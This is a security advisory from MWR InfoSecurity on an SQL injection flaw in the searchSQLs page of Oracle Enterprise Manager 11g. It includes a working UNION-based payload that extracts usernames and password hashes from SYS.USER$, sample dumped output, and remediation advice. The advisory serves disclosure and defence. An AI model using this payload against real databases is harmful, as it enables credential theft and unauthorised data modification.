

MWR InfoSecurity Security
Advisory

Oracle Enterprise Manager
SQL Injection Advisory

1st February 2010



CONTENTS

1	Detailed Vulnerability Description.....	4
1.1	Introduction	4
1.2	Technical Background.....	4
1.3	Exploit Information	4
1.4	Dependencies	7
2	Recommendations.....	8

Vulnerability Title

Package Name:	Oracle Enterprise Manager
Date:	1 st February 2010
Affected Versions:	Oracle Database 11g Release 1 (11.1.0.6.0) for Microsoft Windows

CVE Reference	CVE-2011-0876
Author	MWR InfoSecurity
Severity	Medium
Local/Remote	Remote
Vulnerability Class	SQL Injection
Impact	An attacker exploiting this vulnerability could gain access to read or modify data contained within the database.
Vendor URL	http://www.oracle.com
Vendor Response	An updated CPU has been released. http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html
Exploit Details Included	Yes.
Affected OS	The Windows version was tested but all versions are believed to be vulnerable to this attack.

Overview:

An SQL injection vulnerability has been discovered in the latest version of Oracle Database 11g as of January 20th 2010.

Impact:

An attacker exploiting this vulnerability could gain access to read or modify data contained within the database.

Cause:

The vulnerability arises because of the lack of input validation being performed against user supplied data within the Enterprise Manager.

Interim Workaround:

No known work around is available.

Solution:

Install the July 2011 CPU.

1 Detailed Vulnerability Description

1.1 Introduction

The Oracle Enterprise Manager is a web based interface for maintaining and managing Oracle databases, and is described on the vendor's website as:

"Oracle Enterprise Manager 11g provides a single, integrated solution for testing, deploying, operating, monitoring, diagnosing, and resolving problems in today's complex IT environments. It delivers enhanced manageability and automation for your grid across both Oracle and non-Oracle technologies to reduce the cost of managing today's modern data centers."

1.2 Technical Background

The vulnerability exists due to a lack of input validation from external users which will allow a malicious user to attack the Enterprise Manager (EM) application and run arbitrary SQL against the database. This can provide a user the opportunity to modify or glean potentially sensitive information as well as other potential attack scenarios, dependant on the specific customer user and database permissions.

1.3 Exploit Information

In order to exploit this vulnerability, an attacker would need to be a user of Enterprise Manager or gain access in some other way. This would provide access to the vulnerable interface whereby it would then be possible to execute arbitrary SQL requests via the search feature of the **searchSQLs** page.

The following URL is vulnerable to this issue:

```
https://target:1158/em/console/database/instance/searchSQLs?target=pentest&type=oracle_database&tabNum=0
```

By adding arbitrary SQL in to the '**filter attribute**' section, it is possible to modify the SQL that will be run within the database and craft a user controlled request, allowing for the injection of arbitrary SQL statements.

The following screenshot shows the vulnerable page in question:

Data Source

Cursor Cache

AWR Snapshots
Time Period: ALL

AWR Baseline: ALL

SQL Tuning Set:

Save to SQL Tu

Load the SQL statement
Tuning Set.

Save to an existing

Name:

Save to a new SQL Tuning Set

Name:

Filter Conditions

Only the SQL statements that meet all the following filter conditions will be included as search results. Rows with an empty value in the 'Value' column will not be included.

Plan Hash Value: Add a Filter or Column

Filter Attribute	Operator	Value
SQL ID	=	1' or '1'='2'--
1		

By default, the search returns all case-insensitive matches beginning with the string you entered. To run an exact or case-sensitive match, double quote the search string.

Results (0 statements)

Cursor Cache (0 statements) AWR Snapshots AWR Baseline SQL Tuning Set

No results were found.

Under normal circumstances, an SQL statement such as the following will be created and run on the database:

```
SELECT SQL_ID, SQL_FULLTEXT, PLAN_HASH_VALUE, PARSING_SCHEMA_NAME, ELAPSED_TIME, ACTION
FROM V$SQL WHERE UPPER(SQL_TEXT) LIKE '176768' ORDER BY ELAPSED_TIME DESC
```

However, due to the lack of input validation it is possible to change this request to be potentially more malicious. The following example shows this:

```
SELECT SQL_ID, SQL_FULLTEXT, PLAN_HASH_VALUE, PARSING_SCHEMA_NAME, ELAPSED_TIME, ACTION
FROM V$SQL WHERE UPPER(SQL_TEXT) LIKE '176768' UNION ALL SELECT
PASSWORD,TO_CLOB('A'),1,SPARE4,1,NAME FROM SYS.USER$--%' ORDER BY ELAPSED_TIME DESC
```

Database Instance: pentest >

Show SQL

```
SELECT SQL_ID, SQL_FULLTEXT, PLAN_HASH_VALUE, PARSING_SCHEMA_NAME, ELAPSED_TIME, ACTION FROM V$SQL WHERE
UPPER(SQL_TEXT) LIKE '176768' UNION ALL SELECT PASSWORD,TO_CLOB('A'),1,SPARE4,1,NAME FROM
SYS.USER$--%' ORDER BY ELAPSED_TIME DESC
```

This request will instead of returning SQL cursor data, which is the original intention, will return the username, password hash and salted hash of all users contained within the **sys.user\$** table. The output of this arbitrary request is shown in the following screenshot: (hashes have been masked for privacy reasons)

Results (99 statements)

Cursor Cache (99 statements) AWR Snapshots AWR Baseline SQL Tuning Set

SQL ID	SQL Text	Plan Hash Value	Parsing Schema Name	Elapsed Time (sec)	Action
CB81	21CD639D6	A	1 S:1C798BE5432B	70ACA5447DE366C538	0.000 MGMT_VIEW
D0D	132624C419	A	1 S:51E61A544234	7B3D95FFB0A4A047CD	0.000 FLOWS_FILES
EE51	37462E6976	A	1 S:D15B76A6A151	3C92DD28E8EE71EC9C2	0.000 APEX_PUBLIC_USER
E172	4CF490B40	A	1 S:84D1B1704567	4A89089756E2897D13F	0.000 FLOWS_030000
6101	8FE301776F	A	1 S:D6C51A6212A1	5ACF2A888798997668C	0.000 OWBSYS
13D1	44950FF0D	A	1 S:10160F3488BE9	H249126DC96594D1AE	0.000 OWBSCLIENT
8761	037E6316A	A	1 S:301FC5429E73	C70167C3A30F16E22B	0.000 OWB_DESIGNCENTER_
		A	1		0.000 OWB_USER
F891	C34402B67	A	1 S:203FD8789075	4F5D7FB8887C639864F	0.000 SCOTT
		A	1		0.000 _NEXT_USER
9C31	E7E0C8D2D	A	1 S:F10C9FBA2B88	226EB83CF7B493F6932	0.000 OE
28E1	74E08FEE	A	1 S:A752AEB009C	705265D45D60AEC551B	0.000 IX
9791	77CD38D1A	A	1 S:AEAF3228D81	A2D4FB53A70885AD5CF	0.000 SH
72E1	52E89575A	A	1 S:+2DAAD0AF681	5ECD0553CEFECC9FE0E8	0.000 PM
FA11	5870213F3	A	1 S:24AEA347923E	89AE15D6E6C89CF3DAF	0.000 BI
EXT1	L	A	1		0.000 OPS\$ADWINJAH
ACE1	781D14FEA	A	1 S:0BC0BAD3AC81	D411DF7F8815448899B	0.000 OMGIWTF
CCA	3359B0BE72	A	1 S:E7B391B694C0	CE40216A58585209F6	0.000 SCOTT101
A511	8DAAA5956	A	1 S:692394448283	2CD0B183E92CD41154	0.000 HAXXOR
6D81	7D9F418E5	A	1 S:1AC152AEBAA1	3E08DA3042588D1448F	0.000 TEST123
93B1	C446FB656	A	1 S:26C40414F9925	33A508EC3F58F3D0335	0.000 INJAH
DPC1	97EF33268	A	1 S:4891568FCCB5	13685E28F6651D3F39	0.000 HAXXOR
Z4F1	00BAFBF64	A	1 S:8A1BA097AAAI	3F888E1C344769C053B	0.000 HAXXOR2
99A1	598492968	A	1 S:51C272264259	2D4DF212E3065302D2	0.000 LOLPOPS

Previous 25 76-99 of 9

As can be seen, the name, password and spare4 values from sys.users\$ table has been returned rather than the originally intended cursor cache data.

It would then be possible to modify this request to perform other actions, including the execution of stored procedures which could allow for command execution, the gathering of potentially sensitive client data as well as the modification of information stored within the database.

Dependencies

For this vulnerability to be exploited, it is a requirement that a user has permissions to access the Enterprise Manager. Depending on user account used to connect to the database, limitations on the type of information that can be exposed via this issue will vary however this attack could be used to perform unintended requests against other areas of the database and as such should be treated as serious.

Recommendations

A full solution will require remedial action by the vendor. It is expected that this will entail amendments to the software such that user input is verified to ensure that potentially dangerous SQL can't be submitted to the application and special characters, such as `"`, `$`, `;` are filtered. It is also advised that a white-list approach should be taken when dealing with user input to ensure that only safe values are passed in to the application.

In addition to input validation, parameterised database queries are an effective countermeasure to SQL injection attacks. Parameterised queries ensure the data is treated literally, rather than being interpreted as part of the SQL query. Data used in SQL queries should always be encapsulated by quote marks, even if it is numeric. If data is not enclosed in quote marks, it is directly part of the SQL query itself and allows SQL injection without the use of quote marks (which may otherwise be correctly escaped by the application).

Stored procedures can also be used to help prevent SQL injection. They are also very useful for limiting database privileges for each different query made. This makes them a useful tool.

MWR InfoSecurity
St. Clement House
1-3 Alencon Link
Basingstoke, RG21 7SB
Tel: +44 (0)1256 300920
Fax: +44 (0)1256 844083
mwrinfosecurity.com